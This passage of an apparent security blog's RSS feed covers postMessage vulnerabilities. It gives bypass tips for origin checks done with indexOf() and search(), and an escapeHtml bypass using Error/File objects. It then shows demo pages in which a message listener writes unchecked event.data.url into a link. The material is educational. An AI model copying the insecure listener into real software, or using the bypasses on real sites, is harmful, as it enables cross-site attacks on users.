        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;registeredKeyBindings&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;binding&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;].&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;key&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;registeredKeyBindings&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;binding&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;].&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;description&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;nx&quot;&gt;html&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;registeredKeyBindings&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;binding&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;].&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;key&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;registeredKeyBindings&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;binding&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;].&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;description&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

    &lt;span class=&quot;p&quot;&gt;...&lt;/span&gt;

&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;tipsbypasses-in-postmessage-vulnerabilities&quot;&gt;&lt;a name=&quot;tips&quot;&gt;Tips/Bypasses in PostMessage vulnerabilities&lt;/a&gt;&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;If &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;indexOf()&lt;/code&gt; is used to check the origin of the PostMessage event, remember that it can be bypassed if the origin is contained in the string as seen in &lt;a href=&quot;#bypass&quot;&gt;&lt;em&gt;The Bypass&lt;/em&gt;&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href=&quot;https://twitter.com/filedescriptor&quot;&gt;@filedescriptor&lt;/a&gt;: Using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;search()&lt;/code&gt; to validate the origin could be insecure. According to the docs of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;String.prototype.search()&lt;/code&gt;, the method takes a regular repression object instead of a string. If anything other than regexp is passed, it will get implicitly converted into a regexp.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;https://www.safedomain.com&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;search&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;t&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;origin&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;In regular expression, a dot (.) is treated as a wildcard. In other words, any character of the origin can be replaced with a dot. An attacker can take advantage of it and use a special domain instead of the official one to bypass the validation, such as &lt;strong&gt;www.s.afedomain.com&lt;/strong&gt;.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://bored.engineer/&quot;&gt;@bored-engineer&lt;/a&gt;: If &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;escapeHtml&lt;/code&gt; function is used, the function does not create a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;new&lt;/code&gt; escaped object, instead it over-writes properties of the existing object. This means that if we are able to create an object with a controlled property that does not respond to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;hasOwnProperty&lt;/code&gt; it will not be escaped.&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;// Expected to fail:&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;result&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;u&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;({&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;message&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;lt;b&amp;gt;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\\&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;});&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;result&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;message&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// &quot;&amp;amp;#39;&amp;amp;quot;&amp;amp;lt;b&amp;amp;gt;\&quot;&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;// Bypassed:&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;result&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;u&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;Error&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;lt;b&amp;gt;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\\&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;result&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;message&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// &quot;'&quot;&amp;lt;b&amp;gt;\&quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;File&lt;/code&gt; object is perfect for this exploit as it has a read-only &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;name&lt;/code&gt; property which is used by our template and will bypass &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;escapeHtml&lt;/code&gt; function.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;recommended-writeups&quot;&gt;&lt;a name=&quot;writeups&quot;&gt;Recommended writeups&lt;/a&gt;&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://hackerone.com/reports/231053&quot;&gt;Hackerone report #231053&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://hackerone.com/reports/381356&quot;&gt;Hackerone report #381356&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://hackerone.com/reports/207042&quot;&gt;Hackerone report #207042&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://hackerone.com/reports/603764&quot;&gt;Hackerone report #603764&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://hackerone.com/reports/217745&quot;&gt;Hackerone report #217745&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://hackerone.com/reports/129873&quot;&gt;Hackerone report #129873&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://hackerone.com/reports/389108&quot;&gt;Hackerone report #389108&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

</description>
          <pubDate>2020-07-17T00:00:00+02:00</pubDate>
          <link>https://jlajara.gitlab.io/Dom_XSS_PostMessage_2</link>
          <guid isPermaLink="true">https://jlajara.gitlab.io/Dom_XSS_PostMessage_2</guid>
        </item>
      
    
      
        <item>
          <title>PostMessage Vulnerabilities. Part I</title>
          <description>&lt;meta property=&quot;og:title&quot; content=&quot;PostMessage Vulnerabilities. Part I&quot; /&gt;

&lt;p&gt;&lt;img src=&quot;https://jlajara.gitlab.io/assets/images/posts/20200612/0.png&quot; alt=&quot;Title&quot; /&gt;&lt;/p&gt;

&lt;p&gt;This is the first part of a two series of articles about &lt;em&gt;postMessage&lt;/em&gt; vulnerabilities. This part is an introduction to what is a postMessage, basic exploitation, detection and mitigation. The second part is an analysis of real cases reported in Bug Bounty scenarios.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;what-is-a-postmessage&quot;&gt;What is a postMessage?&lt;/h2&gt;

&lt;p&gt;According to Mozilla:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;The window.postMessage() method safely enables cross-origin communication between Window objects; e.g., between a page and a pop-up that it spawned, or between a page and an iframe embedded within it.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Let’s see an example.&lt;/p&gt;

&lt;p&gt;Supose we have a main website (&lt;em&gt;1.html&lt;/em&gt;) that communicates with another website (&lt;em&gt;2.html&lt;/em&gt;). In the second website there is a back button that changes when the navigation in the first website changes. For example, in website1 we navigate to “changed.html”, then the back button in website2 points to “changed.html”. To do that, postMessage is used and sends the value of website1 to website2.&lt;/p&gt;

&lt;p&gt;The code in &lt;em&gt;1.html&lt;/em&gt; is the following:&lt;/p&gt;

&lt;div class=&quot;language-html highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;!DOCTYPE html&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;html&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;head&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;nt&quot;&gt;&amp;lt;title&amp;gt;&lt;/span&gt;Website 1&lt;span class=&quot;nt&quot;&gt;&amp;lt;/title&amp;gt;&lt;/span&gt;
 &lt;span class=&quot;nt&quot;&gt;&amp;lt;meta&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;charset=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;utf-8&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;script&amp;gt;&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;child&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;openChild&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;child&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;window&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;2.html&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;popup&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;height=300px, width=500px&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;sendMessage&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(){&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;msg&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;url&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;changed.html&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;// In production, DO NOT use '*', use toe target domain&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;child&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;postMessage&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;msg&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;c1&quot;&gt;// child is the targetWindow&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;child&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;focus&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;/head&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;body&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;nt&quot;&gt;&amp;lt;form&amp;gt;&lt;/span&gt;
        &lt;span class=&quot;nt&quot;&gt;&amp;lt;fieldset&amp;gt;&lt;/span&gt;
            &lt;span class=&quot;nt&quot;&gt;&amp;lt;input&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;type=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'button'&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;id=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'btnopen'&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;value=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'Open child'&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;onclick=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'openChild();'&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt;
            &lt;span class=&quot;nt&quot;&gt;&amp;lt;input&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;type=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'button'&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;id=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'btnSendMsg'&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;value=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'Send Message'&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;onclick=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'sendMessage();'&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt;
        &lt;span class=&quot;nt&quot;&gt;&amp;lt;/fieldset&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;nt&quot;&gt;&amp;lt;/form&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;/body&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;/html&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;There are two buttons:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;The first one opens a popup containing &lt;em&gt;2.html&lt;/em&gt; through &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;openChild()&lt;/code&gt; function&lt;/li&gt;
  &lt;li&gt;The second one sends a message through &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sendMessage()&lt;/code&gt; function. To do that a message is set defining &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;msg&lt;/code&gt; variable and then calling &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;postMessage(msg,'*')&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The code in &lt;em&gt;2.html&lt;/em&gt; is the following:&lt;/p&gt;

&lt;div class=&quot;language-html highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;!DOCTYPE html&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;html&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;head&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;nt&quot;&gt;&amp;lt;title&amp;gt;&lt;/span&gt;Website 2&lt;span class=&quot;nt&quot;&gt;&amp;lt;/title&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;nt&quot;&gt;&amp;lt;meta&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;charset=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;utf-8&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;nt&quot;&gt;&amp;lt;script&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;// Allow window to listen for a postMessage&lt;/span&gt;
    &lt;span class=&quot;nb&quot;&gt;window&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;addEventListener&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;message&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;event&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;c1&quot;&gt;// Normally you would check event.origin&lt;/span&gt;
        &lt;span class=&quot;c1&quot;&gt;// To verify the targetOrigin matches&lt;/span&gt;
        &lt;span class=&quot;c1&quot;&gt;// this window's domain&lt;/span&gt;
         &lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;getElementById&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;redirection&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;href&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;event&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;url&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;c1&quot;&gt;// event.data contains the message sent&lt;/span&gt;
      
    &lt;span class=&quot;p&quot;&gt;});&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;closeMe&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;try&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;window&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;close&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;catch&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;try&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;close&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;catch&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}}&lt;/span&gt;
    &lt;span class=&quot;nt&quot;&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;/head&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;body&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;nt&quot;&gt;&amp;lt;form&amp;gt;&lt;/span&gt;
        &lt;span class=&quot;nt&quot;&gt;&amp;lt;h1&amp;gt;&lt;/span&gt;Recipient of postMessage&lt;span class=&quot;nt&quot;&gt;&amp;lt;/h1&amp;gt;&lt;/span&gt;
            &lt;span class=&quot;nt&quot;&gt;&amp;lt;fieldset&amp;gt;&lt;/span&gt;
                &lt;span class=&quot;nt&quot;&gt;&amp;lt;a&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;type=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'text'&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;id=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'redirection'&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;href=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;''&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;Go back&lt;span class=&quot;nt&quot;&gt;&amp;lt;/a&amp;gt;&lt;/span&gt;
                &lt;span class=&quot;nt&quot;&gt;&amp;lt;input&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;type=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'button'&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;id=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'btnCloseMe'&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;value=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'Close me'&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;onclick=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'closeMe();'&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt;
            &lt;span class=&quot;nt&quot;&gt;&amp;lt;/fieldset&amp;gt;&lt;/span&gt;
   
    &lt;span class=&quot;nt&quot;&gt;&amp;lt;/form&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;/body&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;/html&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;There is a button and a link:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;The link handles the back redirection. The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;href&lt;/code&gt; field changes according the data received with the listener &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;window.addEventListener(&quot;message&quot;, (event)&lt;/code&gt;. After receiving the message, the data in the event is read from &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;event.data.url&lt;/code&gt; and passed to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;href&lt;/code&gt;.&lt;/li&gt;
